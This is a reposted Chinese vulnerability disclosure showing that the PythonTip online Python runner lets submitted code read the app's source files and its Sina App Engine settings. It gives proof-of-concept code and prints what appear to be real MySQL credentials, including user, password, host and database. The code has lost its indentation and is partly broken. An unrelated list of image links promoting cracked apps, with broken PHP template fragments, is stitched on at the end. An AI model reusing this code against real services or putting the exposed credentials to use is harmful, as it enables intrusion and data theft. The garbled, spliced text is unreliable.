2014-05-02:细节已通知厂商并且等待厂商处理中
2014-05-04:厂商已经主动忽略漏洞,细节向公众公开
在pythontip在线执行中可以获得程序源代码和程序配置
详细说明:pythontip在线编程没有屏蔽os模块中的许多功能,也没有阻止open读取文件内容,导致源代码泄露;pythontip在线编程没有使用隔离的python程序导致可以使用sae模块读取程序配置。
漏洞证明:在http://pythontip.sinaapp.com/coding/run运行:
import os
def get_filepaths(directory):
file_paths = [] # List which will store all of the full filepaths.
# Walk the tree.
for root, directories, files in os.walk(directory):
for filename in files:
# Join the two strings in order to form the full filepath.
filepath = os.path.join(root, filename)
file_paths.append(filepath) # Add it to the list.
return file_paths # Self-explanatory.
for p in get_filepaths("."):
if p[-2:] == "py":
f = open(p)
print "=========[" + p + "]========="
f.close()
del f
输出当前目录下全部python脚本内容,截取一部分如下:
=========[./manage.py]=========
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings")
from django.core.management import execute_from_command_line
(以后略)
再运行
import sae
print sae.const.MYSQL_USER
print sae.const.MYSQL_PASS
print sae.const.MYSQL_HOST
print sae.const.MYSQL_DB
print sae.const.MYSQL_PORT
输出:(显然是连接信息。虽然sae防止外部连接到数据库,但可能可以通过在线编程读取到数据库)
y0k0xwjnlj
wlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wy
w.rdc.sae.sina.com.cn
app_yunmei
3307修复方案:
pythontip事实上已经阻止了部分函数执行(比如os中的execlp不能用,而且没有fork),推荐加强这方面的防护,也推荐使用虚拟化技术来运行python程序。
版权声明:转载请注明来源 dramforever@乌云 漏洞回应 厂商回应:危害等级:无影响厂商忽略
忽略时间:2014-05-04 09:10
厂商回复:感谢关注新浪安全,该bug属于该应用问题,不是sae平台问题,故忽略处理
最新状态:暂无
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;

![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)